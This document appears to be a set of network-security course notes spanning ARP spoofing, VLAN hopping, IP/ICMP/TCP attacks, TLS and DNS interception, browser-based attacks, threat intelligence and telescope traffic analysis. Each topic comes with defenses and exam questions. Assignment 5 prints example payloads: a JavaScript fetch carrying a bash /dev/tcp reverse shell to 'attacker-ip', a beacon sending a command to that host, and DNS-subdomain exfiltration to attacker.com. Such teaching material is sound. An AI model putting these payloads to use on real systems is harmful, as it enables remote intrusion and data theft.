

Assignment 1 – Data Link Layer (ARP Spoofing & VLAN Hopping)

◆ 1. Concept

This assignment focuses on Layer 2 (Data Link Layer) attacks:

- **ARP Spoofing:** attacker fakes MAC/IP mappings to intercept traffic.
- **VLAN Hopping:** attacker bypasses VLAN isolation using trunking exploits.

These attacks exploit the trust assumptions of Layer 2 protocols (e.g., ARP and 802.1Q VLAN tagging).

◆ 2. Techniques

◆ ARP Spoofing (a.k.a. ARP Cache Poisoning)

Packet Breakdown:

Ethernet Header:

Destination MAC: ff:ff:ff:ff:ff:ff (broadcast)

Source MAC: 00:11:22:33:44:55 (attacker)

ARP Header:

Operation: 2 (Reply)

Sender MAC: 00:11:22:33:44:55

Sender IP: 192.168.1.1 (spoofed)

Target MAC: aa:bb:cc:dd:ee:ff

Target IP: 192.168.1.100

Tools:

- arpspoof, ettercap, bettercap, scapy

Steps:

1. Attacker poisons ARP cache of victim and gateway.
2. Traffic is routed through attacker.
3. Attacker can sniff or alter traffic.

Wireshark Detection Filter:

`arp.opcode == 2 && arp.src.proto_ipv4 == 192.168.1.1`

◆ VLAN Hopping (Double Tagging)

Packet Breakdown:

[Ethernet Frame]

VLAN Tag 1: VLAN 10 (outer)

VLAN Tag 2: VLAN 20 (inner)

Payload: IP Packet

Steps:

1. Attacker sends double-tagged packet to trunk port.
2. First switch strips VLAN 10.
3. Second switch forwards based on inner tag (VLAN 20).

Tools:

- yersinia, scapy, vlan-hopper

◆ 3. Vulnerabilities

Component Weakness

ARP Stateless, unauthenticated mapping.

VLANs Misconfigured trunks allow hopping.

Switches No MAC/IP binding by default.

◆ 4. Defense Measures

ARP Spoofing

- **Dynamic ARP Inspection (DAI)**

ip dhcp snooping

ip arp inspection vlan 10

interface FastEthernet0/1

ip arp inspection trust

- **Static ARP Bindings**

```
arp -s 192.168.1.1 00:aa:bb:cc:dd:ee
```

- **Detection Tools:** arpwatsh, snort

VLAN Hopping

- Disable trunking:

```
interface FastEthernet0/1
```

```
switchport mode access
```

```
switchport nonegotiate
```

- Set unused VLAN as native VLAN:

```
switchport trunk native vlan 999
```

- Use ACLs or IDS to drop double-tagged frames.

◆ **5. Applicability + Exam Questions**

✅ **Real-World Usage**

- Used in internal pentests and malware lateral movement.
- Common MITM technique in unsegmented networks.

🤖 **Exam Questions & Answers**

Q1: What enables ARP spoofing to succeed?

A: ARP is stateless and lacks authentication. Any host can send unsolicited replies, corrupting caches.

Q2: How does double tagging allow VLAN hopping?

A: Outer VLAN tag stripped by first switch; second tag used by second switch, granting access to another VLAN.

Q3: How do you configure a switch to resist these attacks?

A: Disable DTP, enable DAI, enforce port security, use non-default native VLANs, block unused ports.

Q4: How would you detect ARP poisoning with Wireshark?

A: Filter ARP replies and look for duplicate IPs with different MACs or unsolicited ARP replies.

Q5: Explain the packet structure of a malicious ARP reply.

A: Broadcast frame with ARP reply claiming attacker MAC maps to trusted IP, tricking target to reroute traffic.

End of Assignment 1 Analysis.



Assignment 2 – Network Layer (ICMP, IP Spoofing, Fragmentation Attacks)

◆ 1. Concept

This assignment explores Layer 3 (Network Layer) threats, especially:

- **IP Spoofing:** forging the source IP in IP packets.
- **ICMP-based attacks:** using ping/echo mechanisms to cause disruption or data exfiltration.
- **Fragmentation attacks:** exploiting how IP packets are split and reassembled.

These attacks abuse routing and stateless packet handling at the IP level.

◆ 2. Techniques

◆ IP Spoofing

Packet Example (IPv4 header):

IP Header:

Source IP: 192.168.1.1 (spoofed)

Destination IP: 192.168.1.200

Protocol: TCP/UDP/ICMP

Checksum: recomputed for validity

Steps:

1. Attacker sends packet with fake source IP.
2. Target replies to the spoofed IP — attacker may never see the response.
3. Used for DoS, MITM, reflection attacks.

Tools: hping3, scapy, nmap, raw sockets in Python/C

◆ ICMP-Based Attacks

Types:

- **Ping Flood:** overwhelms a host with ICMP Echo Requests.
- **Ping of Death:** sends oversized packet (>65,535 bytes when reassembled).
- **ICMP Tunneling:** hides data inside Echo/Reply payloads for covert channels.

Ping of Death Packet Breakdown:

ICMP Type: 8 (Echo Request)

Fragmented IP packets:

Offset 0: 1480 bytes

Offset 1: 1480 bytes

...

Final fragment causes buffer overflow (> max size)

Tools: ping, hping3, icmpsh, scapy

◆ Fragmentation Attacks (Teardrop)

Attack:

- Sends overlapping IP fragments to crash target on reassembly.
- Modern OSes patch this, but legacy systems remain vulnerable.

Teardrop Packet Series:

Fragment 1: Offset 0, Length 512

Fragment 2: Offset 256, Length 512 <- overlaps fragment 1

Tools: fragroute, fragtest, scapy

◆ 3. Vulnerabilities

Protocol	Weakness
IP	No built-in authentication.
ICMP	Stateless and unauthenticated.

Fragmentation Poor handling of overlaps may crash hosts.

◆ 4. Defense Measures

IP Spoofing

- **Ingress filtering (BCP 38)** to block packets with spoofed source IPs.
- **Reverse Path Filtering (RPF)** to verify routing paths.
- Use of **source IP validation** in firewalls.

ICMP Attacks

- Rate-limit ICMP in routers and firewalls.
- Block unnecessary ICMP types from external networks.
- Monitor for high volume of echo requests.

Fragmentation Attacks

- Drop or log overlapping IP fragments.
- Enforce maximum reassembly buffers.
- Use intrusion detection rules for fragment anomalies.

◆ 5. Applicability + Exam Questions

✅ Real-World Usage

- DDoS attacks with spoofed sources.
- Malware using ICMP to exfiltrate data.
- Teardrop used in legacy system attacks.

🤖 Exam Questions & Answers

Q1: Why is IP spoofing possible, and what is its impact?

A: IP does not verify the source address. This allows attackers to impersonate others, often for DoS or MITM attacks.

Q2: How does a Ping of Death differ from a Ping Flood?

A: Ping Flood overwhelms with normal pings. Ping of Death sends malformed, oversized fragments causing crashes.

Q3: What can be done to prevent ICMP tunneling?

A: Inspect ICMP payloads for non-standard content, block ICMP Echo/Reply if unused, use deep packet inspection tools.

Q4: Describe how overlapping IP fragments can lead to system crashes.

A: If fragment offsets overlap, reassembly may overwrite memory in error-prone systems, leading to buffer overflows.

Q5: What firewall configuration blocks IP spoofing?

A: Ingress filtering rules that drop packets with source IPs not matching the incoming interface's subnet.

End of Assignment 2 Analysis.



Assignment 3 – Transport Layer (TCP Hijacking, RST Injection, SYN Flood)

◆ 1. Concept

This assignment investigates Layer 4 (Transport Layer) attacks, including:

- **TCP Hijacking:** taking over a live TCP session by guessing sequence numbers.
- **RST Injection:** injecting a fake RST packet to abruptly end a connection.
- **SYN Flood:** overwhelming a server with half-open TCP connections.

These attacks exploit the design of TCP session handling and trust in sequence numbers.

◆ 2. Techniques

◆ TCP Hijacking

TCP Header Example:

Source IP: 192.168.1.5 (attacker)

Destination IP: 192.168.1.100 (victim)

TCP Flags: PSH, ACK

Sequence Number: Estimated +1 of last seen

Ack Number: Expected based on session

Payload: Injected data

Steps:

1. Sniff TCP session (e.g., telnet or HTTP).

2. Estimate or observe sequence/ack numbers.
3. Send spoofed packet with same source IP and sequence.
4. Hijack session to inject commands or data.

Tools: ettercap, dsniff, scapy, hping3, tcpkill

◆ TCP RST Injection

Packet Breakdown:

TCP Flags: RST

Sequence: Same as last acknowledged packet

Source/Dest: Matches original session

Steps:

1. Monitor session details.
2. Inject RST packet with valid sequence.
3. Receiver sees RST and terminates connection.

Tools: scapy, tcpkill, hping3

◆ SYN Flood (Denial-of-Service)

TCP 3-Way Handshake:

1. SYN (Client -> Server)
2. SYN+ACK (Server -> Client)
3. ACK (Client -> Server)

Attack:

- Attacker sends many SYNs with spoofed IPs.
- Server allocates resources and waits for ACKs.
- Half-open connections exhaust server resources.

Tools: hping3, nping, scapy, custom C/Python scripts

◆ 3. Vulnerabilities

Protocol Weakness

- TCP Predictable or observable sequence numbers.
 - TCP No authentication of connection teardown (RST).
 - TCP Allocates state before handshake is completed.
-

◆ 4. Defense Measures

TCP Hijacking

- Use encryption (e.g., TLS) to hide session data.
- Employ sequence randomization.
- Monitor for session anomalies via IDS.

RST Injection

- Validate RST packets against sequence/ack context.
- Delay RST action unless verified.
- Use transport-layer encryption to block injection.

SYN Flood

- **SYN cookies:** don't allocate state until handshake completes.
- Firewall rate-limiting for SYNs.
- Timeout unacknowledged half-open connections quickly.

Linux Example:

```
net.ipv4.tcp_syncookies = 1
```

◆ 5. Applicability + Exam Questions

✅ Real-World Usage

- Hijacking used on insecure telnet/FTP sessions.
- RST injection used to kill IRC/SSH connections.
- SYN Flood common in large-scale DoS attacks.

🧐 Exam Questions & Answers

Q1: How can a TCP session be hijacked?

A: By sniffing or guessing the current sequence/ack numbers and injecting packets with matching headers and spoofed IPs.

Q2: Why are SYN floods effective without completing the handshake?

A: The server allocates memory after SYN+ACK is sent, before ACK is received. This allows resource exhaustion via spoofed SYNs.

Q3: How does SYN cookie help mitigate flooding?

A: It encodes session info into the SYN+ACK without reserving resources, verifying legitimacy only after final ACK is received.

Q4: How does TCP RST injection terminate a session?

A: A packet with the RST flag and a valid sequence number is accepted as a teardown request, immediately ending the connection.

Q5: What configuration enables SYN cookies on Linux?

A: `sysctl -w net.ipv4.tcp_syncookies=1`

End of Assignment 3 Analysis.

Assignment 4 – TLS Interception & DNS Hijacking

◆ **1. Concept**

This assignment covers threats at the **Application Layer**, focused on intercepting encrypted traffic and manipulating DNS queries:

- **TLS Interception (Man-in-the-Middle):** decrypting HTTPS traffic using fake certificates.
- **DNS Hijacking:** redirecting DNS queries to malicious IPs by spoofing responses or altering resolver behavior.

Both attack confidentiality and integrity of communications.

◆ **2. Techniques**

◆ **TLS Interception (MITM with forged certificate)**

MITM Flow:

1. Attacker intercepts HTTPS request.
2. Forwards request to real server.
3. Creates fake certificate for victim.
4. Relays responses and decrypts content in-between.

Tools:

- mitmproxy, ettercap, ssllsplit, bettercap, custom CAs

Packet Insight:

- TLS Handshake:
 - ClientHello
 - Attacker responds with fake ServerHello + Certificate
 - If browser trusts certificate (via rogue CA), encryption is terminated at MITM

Common Weaknesses:

- User accepts untrusted certificate.
 - Device has rogue CA pre-installed (e.g., malware, corporate monitoring).
-

◆ DNS Hijacking**Attack Types:**

- **DNS Spoofing:** forge response with incorrect IP before legit server replies.
- **DNS Cache Poisoning:** poison DNS cache with forged response to valid query.
- **DNS Resolver Hijacking:** manipulate device's configured DNS server.

Packet Breakdown:

DNS Response:

Transaction ID: same as query

Query Name: victim.com

Answer: 1.2.3.4 (malicious IP)

Tools:

- dnsspoof, dnscchef, ettercap, mitmproxy, responder

◆ 3. Vulnerabilities

Protocol Weakness

TLS Trusts any valid certificate chain, even if installed by attacker.

DNS UDP-based, easily spoofable, relies on cache.

◆ 4. Defense Measures

TLS Interception

- **Use HSTS:** enforces HTTPS and prevents downgrade.
- **Certificate Pinning:** apps/browsers remember correct public keys.
- **Disable untrusted CA certificates.**
- **Monitor cert anomalies with IDS (e.g., Bro/Zeek)**

DNS Hijacking

- Use **DNSSEC:** signs records to ensure authenticity.
 - Enable **DNS over HTTPS (DoH)** or **DNS over TLS (DoT).**
 - Restrict and audit DNS server settings.
 - Use endpoint monitoring and anomaly detection.
-

◆ 5. Applicability + Exam Questions

✅ Real-World Usage

- TLS interception used by malware and surveillance tools.
- DNS hijacking used in phishing, malware redirection, and censorship circumvention.

🧐 Exam Questions & Answers

Q1: How can a TLS connection be intercepted without breaking the protocol?

A: By inserting a rogue CA certificate in the trust store and performing MITM with forged certificates signed by that CA.

Q2: Why does DNS cache poisoning work?

A: Because DNS responses are accepted based on transaction ID and source port. If attacker guesses these, fake entries can poison the cache.

Q3: How can DNSSEC prevent DNS hijacking?

A: It digitally signs records using public key cryptography. Spoofed responses cannot be validated without correct private key.

Q4: What is certificate pinning, and how does it improve TLS security?

A: Pinning binds a service to a specific certificate or key. It prevents MITM even if a trusted CA is compromised.

Q5: Name a tool that can intercept HTTPS if the attacker installs their certificate authority.

A: mitmproxy, ssllsplit, ettercap.

End of Assignment 4 Analysis.



Assignment 5 – Application Layer Exploits (Malicious Websites, Shells, DNS)

◆ 1. Concept

This assignment focuses on **Application Layer** attacks via malicious webpages:

- **Command Injection via JavaScript**
- **Malicious reverse shell spawning from browser**
- **DNS-based tracking and exfiltration**

The attacker exploits the user's browser and DNS resolution behavior to gain remote access or leak data.

◆ 2. Techniques

◆ JavaScript Command Injection via Webpage

Attack Steps:

1. Victim browses to malicious HTML/JS page.
2. JavaScript launches a command via vulnerable browser/plugin/system.
3. A reverse shell is opened to attacker machine.

Payload Example:

```
var i = new Image();  
  
i.src = "http://attacker-ip:8080/shell?cmd=whoami";  
  
Or direct shell:  
  
fetch("http://attacker-ip:8080", {  
  method: "POST",  
  body: "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"  
});
```

Environment: attacker uses netcat or socat listener.

◆ **Reverse Shell via Malicious JS**

Steps:

1. JS triggers shellcode or invokes OS commands.
2. Payload opens reverse connection to attacker.
3. Attacker receives shell access.

Tools: msfvenom, netcat, browser+plugin exploits, malicious HTAs

◆ **DNS Data Exfiltration via Browser**

Technique: JavaScript issues requests to fake subdomains of attacker-controlled domain.

Example:

```
for (let c of "secret") {  
  new Image().src = `http://${c}.attacker.com`;   
}
```

Result: DNS queries leak data letter-by-letter.

Captured using: DNS logs on attacker domain or passive DNS monitoring.

◆ **3. Vulnerabilities**

Layer Vulnerability

Browser Executes remote JS without validation

DNS Resolves arbitrary attacker domains

User Clicks or loads malicious site

◆ 4. Defense Measures

- Disable/limit JS in emails or unknown domains.
 - Monitor outbound DNS queries to rare domains.
 - Enforce browser security policies (e.g. CSP).
 - Use endpoint detection (EDR) for reverse shell activity.
 - Inspect logs for DNS patterns indicating data leakage.
-

◆ 5. Applicability + Exam Questions

✅ Real-World Usage

- Used in APT malware campaigns (e.g., using DNS tunneling).
- JS-based payloads served via malvertising.
- Red-team operations simulate such attacks in phishing tests.

🤖 Exam Questions & Answers

Q1: How can a reverse shell be triggered via browser JavaScript?

A: By embedding OS commands in JS (if vulnerable) or via JS issuing requests that cause command execution through plugins or misconfigurations.

Q2: What makes DNS-based exfiltration hard to detect?

A: It uses legitimate-looking DNS queries; traffic may not be inspected by firewalls since it's DNS, not HTTP.

Q3: How can you detect DNS exfiltration?

A: Look for high-entropy subdomains, many queries to unknown domains, or time-based encoding.

Q4: What is a safe mitigation to prevent browser-based JS shells?

A: Enforce Content Security Policy (CSP), restrict script execution to trusted domains only.

Q5: What happens if a user visits a page with `<script src="//attacker">`?

A: Their browser will fetch and execute the script from attacker-controlled server, which may run malicious code.

End of Assignment 5 Analysis.

Assignment 6 – Threat Intelligence (CTI)

◆ **1. Concept**

This assignment introduces **Cyber Threat Intelligence (CTI)**: the practice of collecting, analyzing, and sharing information about threats to improve detection and response.

It's about answering:

- Who is attacking?
 - How do they operate?
 - What are their goals?
-

◆ **2. Techniques**

◆ **Indicators of Compromise (IoCs)**

These are technical artifacts that indicate malicious activity:

- Hashes of malware files
- IP addresses
- Domain names
- Email addresses

Sources: Threat feeds, honeypots, sandbox analysis

Use: In IDS (e.g., Snort), firewalls, SIEMs (e.g., Splunk)

◆ **TTPs (Tactics, Techniques, and Procedures)**

From MITRE ATT&CK Framework:

- **Tactics:** What the attacker wants (e.g., persistence)

- **Techniques:** How they do it (e.g., scheduled tasks)
- **Procedures:** Their unique way of doing it

Value: Helps detect unseen attacks based on behavior, not just IoCs

♦ Threat Intelligence Lifecycle

1. **Planning:** What threats are relevant to us?
 2. **Collection:** Logs, threat feeds, honeypots
 3. **Processing:** Normalization, correlation
 4. **Analysis:** Turn data into insight
 5. **Dissemination:** Share intelligence to SOC/IR teams
 6. **Feedback:** Refine future collection
-

♦ 3. Vulnerabilities

Phase	Risk
Collection	Too much noise or irrelevant data
Processing	Poor correlation or duplication
Sharing	Format mismatch, delay in alerts
Detection	Too much focus on IoCs only

♦ 4. Defense Strategy / Applications

- Combine **IoCs + TTPs**: detect both known and unknown threats
- Share intelligence using **STIX/TAXII formats**
- Use **SIEM tools** (e.g., Splunk, QRadar) to correlate data
- Participate in **ISACs** to receive/share updates
- Visualize attacker behavior using tools like **MITRE ATT&CK Navigator**
- Map logs to **ATT&CK TTPs** to identify gaps

Detection Tools:

- IDS/IPS
 - Endpoint Detection & Response (EDR)
 - Threat Intelligence Platforms (TIP)
-

◆ 5. Applicability + Exam Questions

✅ Real-World Usage

- Used by SOC teams for alert triage
- CTI platforms feed into SIEM to prioritize alerts
- APT tracking and attribution rely on behavioral intelligence

🤖 Exam Questions & Answers

Q1: What is the difference between an IoC and a TTP?

A: IoCs are observable artifacts (IPs, hashes). TTPs describe attacker behavior and strategy.

Q2: Why is focusing only on IoCs insufficient?

A: IoCs change rapidly (e.g., IP rotation). TTPs remain more stable and reflect attacker methodology.

Q3: How does threat intel improve SIEM detection?

A: It enriches alerts with context (e.g., "this IP is part of a known campaign"), improving response prioritization.

Q4: What is STIX and TAXII?

A: Standard formats/protocols for threat intel sharing between organizations and platforms.

Q5: How do SOC teams use the MITRE ATT&CK framework?

A: To map observed behaviors (from logs/alerts) to known techniques, identifying adversary stages and gaps in detection.

End of Assignment 6 Analysis.

➡️ SOON Assignment 7 – Telescope Traffic Analysis

◆ 1. Concept

This assignment explores passive monitoring of unsolicited internet traffic using a **network telescope** — an unused address range that captures scanning and attack traffic from the wider internet.

Goals:

- Understand attacker behavior without direct interaction.
 - Categorize threats by port usage, timing, and payloads.
 - Identify coordinated scans or exploit attempts.
-

◆ 2. Techniques

◆ Internet Telescope Setup

- A large block of unused IPs (e.g., /16) is routed to a passive sniffer.
- All incoming packets are logged (no replies sent).
- Useful for studying background radiation, worms, scanners.

Tools: tcpdump, Bro/Zeek, Wireshark, custom scripts

◆ Data Analysis Workflow

1. **Capture:** Use tcpdump or Zeek to store PCAPs.
 2. **Filter:** Isolate TCP SYNs, unusual ports, ICMP pings, etc.
 3. **Visualize:**
 - Time vs packets
 - Ports targeted
 - Source IP histogram
 4. **Classify:**
 - Opportunistic scanner
 - Focused probe (targeted IP/port)
 - Worm/propagation behavior
-

◆ Common Patterns in Telescope Data

Type	Behavior
TCP Scans	SYNs to common ports (22, 23, 80, 443, 3389, etc.)
UDP Probes	DNS, NTP, SNMP requests
ICMP	Ping sweeps (type 8), traceroutes
Exploit Attempts	Web payloads (HTTP GETs with /etc/passwd, /wp-login.php)
Backscatter	Responses to spoofed DoS attacks (e.g., RST/ICMP replies)

◆ 3. Vulnerabilities Observed

- **Unsolicited Traffic** indicates:
 - Mass scanning (e.g., Mirai botnet, Shodan-like activity)
 - Misconfigured devices (sending probes/leaks)
 - Backscatter from spoofed DoS attacks
 - **Known exploits** often target common CVEs (e.g., Shellshock, Log4Shell)
-

◆ 4. Defense Strategy / Interpretation

- Block unnecessary exposed services (e.g., SSH, RDP, Telnet)
 - Use external honeypots for deception and deeper logging
 - Correlate telescope data with live IDS alerts
 - Build threat profiles from repeated IPs or payloads
 - Share insights with peers or research groups (e.g., via MISP)
-

◆ 5. Applicability + Exam Questions

✅ Real-World Usage

- Used by security researchers to detect emerging threats
- Valuable for DDoS backscatter and botnet propagation tracking
- Can serve as early warning for large-scale scan waves

🧐 Exam Questions & Answers

Q1: What is a network telescope and what does it capture?

A: A passive sensor on unused IP space that captures unsolicited internet traffic (e.g., scans, exploits, DoS backscatter).

Q2: How can you distinguish scanning from backscatter in telescope logs?

A: Scans are SYNs to many IPs/ports. Backscatter are RSTs or ICMPs in response to spoofed IP attacks (from victims, not scanners).

Q3: Why is telescope data useful for threat intelligence?

A: It reveals attack trends, scanning tools, botnet behavior, and new exploit attempts — all without direct interaction.

Q4: What kinds of traffic indicate worm-like propagation?

A: Sequential IP scanning with repeated port probes (e.g., Telnet 23, SSH 22) often signals automated worm behavior.

Q5: What are examples of TCP ports frequently seen in unsolicited traffic?

A: Ports 22 (SSH), 23 (Telnet), 80 (HTTP), 443 (HTTPS), 445 (SMB), 3389 (RDP).

End of Assignment 7 Analysis.